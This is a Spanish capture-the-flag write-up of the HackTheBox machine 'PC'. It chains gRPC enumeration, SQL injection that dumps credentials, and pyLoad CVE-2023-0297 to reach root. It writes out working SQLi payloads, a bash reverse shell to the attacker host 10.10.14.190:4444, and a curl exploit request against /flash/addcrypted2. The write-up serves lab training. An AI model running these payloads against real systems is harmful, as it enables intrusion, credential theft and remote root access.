# HackTheBox - PC

PC es una máquina Linux que expone un endpoint de gRPC vulnerable a inyección SQL. Enumerando el servicio se descubre que el parámetro `id` del método `getInfo` es inyectable y se dumpea la base de datos SQLite obteniendo credenciales válidas. Una vez iniciada sesión como el usuario `sau`, `pyLoad 0.5.0` se ejecuta localmente como `root`, versión con una vulnerabilidad (CVE-2023-0297) que permite escalar privilegios.

## Reconocimiento

```plaintext
# Nmap 7.99 scan initiated Tue Jun  9 19:24:37 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.13.83
Nmap scan report for 10.129.13.83
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open  grpc
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun  9 19:25:09 2026 -- 1 IP address (1 host up) scanned in 31.61 seconds
```

Solo dos puertos están abiertos: SSH en el puerto por defecto (22) y [gRPC](https://docs.cloud.google.com/api-gateway/docs/grpc-overview?hl=es-419) (un framework de llamadas a procedimientos remotos) en el 50051.

### Puerto 50051 (gRPC)

Con [gRPCurl](https://github.com/fullstorydev/grpcurl) se puede interactuar con el servicio. `echo 'export PATH=$PATH:~/go/bin' >> ~/.zshrc; source ~/.zshrc` si no está en el PATH.

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
```

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -help                  
Usage:
        grpcurl [flags] [address] [list|describe] [symbol]
(...)
```

En la [documentación](https://github.com/fullstorydev/grpcurl#usage) se explica como enumerar los servicios con `list`

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
```

Con `describe` se obtienen más detalles del servicio `SimpleApp`:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe SimpleApp          
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
```

El output muestra los tipos de entrada que espera cada método y sus respuestas. Inspeccionamos los tipos nuevamente con `describe`:

`LoginUser` y `RegisterUser` aceptan `username` y `password` strings:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest {
  string username = 1;
  string password = 2;
}
```

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest {
  string username = 1;
  string password = 2;
}
```

`getInfo` acepta únicamente un `id`:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe getInfoRequest     
getInfoRequest is a message:
message getInfoRequest {
  string id = 1;
}
```

Sabiendo esto, se puede crear una cuenta y autenticarse.

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.RegisterUser
message: "Account created for user test!"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.LoginUser   
message: "Your id is 756."
```

Pero, tratando de consultar `getInfo` con:

```plaintext
grpcurl -plaintext -format text -d 'id: "895"' 10.129.13.83:50051 SimpleApp.getInfo
```

Se obtiene el siguiente error: `Authorization Error.Missing 'token' header`. Curioso, porque al describir el endpoint solo se indicaba el campo `id`. Esto sugiere que el servidor devuelve algún header adicional fuera del cuerpo de la respuesta que no se muestra por defecto. Repitiendo el login con `-vv` (very verbose) para ver la respuesta completa:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -vv -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.LoginUser                                                                                                             

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Estimated response size: 17 bytes

Response contents:
message: "Your id is 606."

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NDc1Nn0.03GV8rFStIydtqDBLiLhfUGiq7qSxomIjxLBFjF933M'
Sent 1 request and received 1 response
Timing Data: 255.527235ms
  Dial: 80.385357ms
    BlockingDial: 80.374662ms
  InvokeRPC: 134.369893ms
```

Se revelan los response trailers, donde se encuentra un **JWT** (JSON Web Token) que se tiene que pasar como header. Con ello, ahora se obtiene un mensaje de vuelta "Will update soon":

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NDc1Nn0.03GV8rFStIydtqDBLiLhfUGiq7qSxomIjxLBFjF933M' -d 'id: "606"' 10.129.13.83:50051 SimpleApp.getInfo
message: "Will update soon."
```

## SQLi en gRPC

El servicio maneja usuarios con credenciales e IDs, lo que implica casi con certeza la existencia de una base de datos detrás. Probando si el parámetro `id` es inyectable con `OR 1=1` la respuesta cambia, confirmando la inyección:

```plaintext
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 OR 1=1"' 10.129.13.83:50051 SimpleApp.getInfo
message: "The admin is working hard to fix the issues."
```

Determinar número de columnas

```bash
-d 'id: "777 UNION SELECT 1-- -"'
# message: "1"  ← una sola columna
```

Identificar el motor de base de datos

```bash
-d 'id: "777 UNION SELECT sqlite_version()--"'
# message: "3.31.1"  ← SQLite confirmado
```

Enumerar tablas

```bash
-d 'id: "777 UNION SELECT name FROM sqlite_master WHERE type=\"table\";-- -"'
# message: "accounts"
```

Enumerar columnas de la tabla accounts

```bash
-d 'id: "777 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"'
# message: "username,password"
```

Dumpear credenciales

```bash
-d 'id: "777 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"'
# message: "adminadmin,sauHereIsYourPassWord1431"
```

```bash
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT 1-- -"' 10.129.13.83:50051 SimpleApp.getInfo
message: "1"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT sqlite_version()--"' 10.129.13.83:50051 SimpleApp.getInfo 
message: "3.31.1"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT name                       
FROM sqlite_master WHERE type=\"table\";-- -"' 10.129.13.83:50051 SimpleApp.getInfo
Error invoking method "SimpleApp.getInfo": error getting request data: line 1, col 5: invalid syntax

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT name FROM sqlite_master WHERE type=\"table\";-- -"' 10.129.13.83:50051 SimpleApp.getInfo                            
message: "accounts"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"' 10.129.13.83:50051 SimpleApp.getInfo                                 
message: "username,password"

┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"' 10.129.13.83:50051 SimpleApp.getInfo                                 
message: "adminadmin,sauHereIsYourPassWord1431"
```

Se obtienen las credenciales `sau:HereIsYourPassWord1431`, que permiten el acceso por SSH:

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/292947ff-fd7c-40a4-b5d4-3dcb9e2999fa.png align="center")

## Escalada de Privilegios

Enumerando los puertos internos, aparecen dos interesantes: el **8000**, que solo escucha en localhost, y el **9666**, que escucha en todas las interfaces pero no apareció en el scan de nmap inicial. Para poder interactuar con ellos desde nuestra máquina atacante, se hace port forwarding con SSH:

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/47e6bc47-a4b4-4c14-99a5-b63b6de7d816.png align="center")

```plaintext
┌──(root㉿kali)-[/home/noc]
└─# ssh -f -N -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.129.13.83
```

El puerto 9666 nos redirige al login de [pyLoad](https://pyload.net/), un gestor de descargas con interfaz web escrito en Python.

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/c79f7123-24b8-4797-a184-128dce41225a.png align="center")

Se comprueba su versión y quién ejecuta el servicio:

```shell
sau@pc:~$ pyload --version
pyLoad 0.5.0
```

```shell
sau@pc:~$ ps aux | grep pyload
root        1043  0.0  1.8 1227064 72056 ?       Ssl  Jun09   0:05 /usr/bin/python3 /usr/local/bin/pyload
sau         2157  0.0  0.0   8160  2572 pts/0    S+   02:05   0:00 grep --color=auto pyload
```

El proceso se ejecuta como **root**. Buscando vulnerabilidades de `pyload 0.5.0`, se descubre que esta versión tiene asignada la [**CVE-2023-0297**](https://www.incibe.es/index.php/incibe-cert/alerta-temprana/vulnerabilidades/cve-2023-0297), una RCE sin autenticación. Se abusa de `js2py` para inyectar y ejecutar código Python arbitrario a través del endpoint `/flash/addcrypted2`.

[CVE-2023-0297](https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad)

El endpoint `/flash/addcrypted2` (puerto 8000) recibe el parámetro `jk` desde el cuerpo de la petición y lo evalúa directamente como JavaScript mediante `js2py.eval_js()`, sin ningún tipo de sanitización:

```python
jk = flask.request.form["jk"]
jk = eval_js(f"{jk} f()")
```

`js2py` es una librería que ejecuta JavaScript en Python, y entre sus funcionalidades soporta `pyimport`, una sentencia que permite importar módulos Python desde el contexto JavaScript. Esto significa que desde el valor del parámetro `jk` se puede importar el módulo `os` de Python y llamar a `os.system()` para ejecutar comandos en el sistema:

```python
pyimport os; os.system("id")
```

El endpoint no requiere autenticación ni CSRF token, por lo que cualquier atacante con acceso al servicio puede explotarla directamente con una simple petición POST.

Se puede crear una reverse shell en la máquina víctima:

```shell
sau@pc:/tmp$ cat revs.py                                                   
import os
os.system("bash -c '/bin/sh -i >& /dev/tcp/10.10.14.190/4444 0>&1'")
```

El payload que inyectaremos en el parámetro `jk` será simplemente `pyimport os; os.system("python3 /tmp/revs.py")`, que importa el módulo `os` de Python desde el contexto de `js2py` y ejecuta nuestro script:

```shell
┌──(root㉿kali)-[/home/noc]
└─# curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"python3%20/tmp/revs.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://localhost:8000/flash/addcrypted2
```

```shell
┌──(root㉿kali)-[/home/noc]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.13.83] 34932
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
57a4192b1d...
```

![](https://cdn.hashnode.com/uploads/covers/671191e780b163dbc6b8218a/c886a875-0cab-4110-a69d-ce39d1914a81.png align="center")
